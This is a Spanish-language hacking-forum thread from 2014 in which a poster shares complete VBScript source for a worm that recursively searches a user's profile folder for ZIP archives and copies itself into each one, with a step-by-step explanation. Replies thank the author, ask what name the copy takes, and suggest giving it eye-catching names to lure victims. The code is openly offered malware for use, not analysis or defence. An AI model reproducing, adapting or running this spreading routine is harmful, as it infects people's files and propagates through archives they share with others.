elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [VBS] Función para hacer "spread" a fichero ZIP
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [VBS] Función para hacer "spread" a fichero ZIP  (Leído 3,087 veces)
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
[VBS] Función para hacer "spread" a fichero ZIP
« en: 10 Abril 2014, 09:49 am »

Muy buenas a todos

Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:


Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:

1) Creación de variables para el uso del script:

Código:
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

2) Recoger la ruta de los ficheros de la carpeta %userprofile%

Código:
    Set Folds = oFSO.GetFolder(P)
    Set Files = Folds.Files

3) Recoger la extensión de cada fichero encontrado, busca si es un .zip

Código:
ext = LCase(oFSO.GetExtensionName(File.path))

4) Creación de un objeto que permite trabajar con carpetas ZIP

Código:
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip

Código:
			If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If

6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:

Código:
    Set File = Folds.Subfolders
    For Each Subfol In File
        Call ZipSpread(Subfol.path)
    Next

==========================================

El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:

Código:
ZipSpread("C:\carpeta_prueba")

Os dejo el código en formato copypaste:

Código
  1. On Error Resume Next
  2.  
  3. Set oWSH = CreateObject("WScript.Shell")
  4. Set oFSO = CreateObject("Scripting.FileSystemObject")
  5.  
  6. SelfPath = WScript.ScriptFullName
  7. SelfName = WScript.ScriptName
  8.  
  9. Function ZipSpread(P)
  10.    On Error Resume Next
  11.    Set Folds = oFSO.GetFolder(P)
  12.    Set Files = Folds.Files
  13.  
  14.    For Each File In Files
  15.        ext = LCase(oFSO.GetExtensionName(File.path))
  16.        If ext = "zip" Then
  17. EXE = SelfPath
  18. ZIP = File.path
  19. Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
  20. RR = ""
  21. For Each CC in FILE.Items
  22. RR = RR & CC.Name
  23. Next
  24. If Not InStr(RR,SelfName) > 0 Then
  25. FILE.CopyHere EXE 'Spread to ZIP
  26. F.Write ZIP & vbcrlf 'Log zipfile to TXT
  27. WScript.Sleep 500 'Important!
  28. End If
  29.        End If
  30.    Next
  31.    Set File = Folds.Subfolders
  32.    For Each Subfol In File
  33.        Call ZipSpread(Subfol.path)
  34.    Next
  35. End Function
  36.  
  37. Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
  38. ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
  39. F.Close
  40.  
  41. MsgBox "<end>"

Saludos!! :D


En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: [VBS] Función para hacer "spread" a fichero ZIP
« Respuesta #1 en: 11 Abril 2014, 17:57 pm »

genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?


En línea

buenas
Mad Antrax
Colaborador
***
Desconectado Desconectado

Mensajes: 2.164


Cheats y Trainers para todos!


Ver Perfil WWW
Re: [VBS] Función para hacer "spread" a fichero ZIP
« Respuesta #2 en: 11 Abril 2014, 18:14 pm »

genial! :) una pregunta como queda guardado en el zip? , un nombre en especifico por ejemplo ?

Queda guardado en la carpeta raíz del ZIP, con el nombre del fichero original. Por ejemplo:

Fichero: gusano.vbs

En los ficheros ZIP que infecte, se copiará con el nombre gusano.vbs
Se podría modificar el script para que cambie o genere un nombre aleatório.

Saludos
En línea

No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: [VBS] Función para hacer "spread" a fichero ZIP
« Respuesta #3 en: 11 Abril 2014, 18:17 pm »

ah gracias :) , si talves estaria bien ponerle nombres llamativos xD
En línea

buenas
titan6146

Desconectado Desconectado

Mensajes: 72



Ver Perfil
Re: [VBS] Función para hacer "spread" a fichero ZIP
« Respuesta #4 en: 14 Abril 2014, 21:06 pm »

Sos una bestia muy util el code me lo llevo
En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [VBS] Función para hacer "spread" a fichero ZIP
« Respuesta #5 en: 15 Abril 2014, 20:42 pm »

me gustaria traducirlo a delphi pero lo veo para avanzados.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines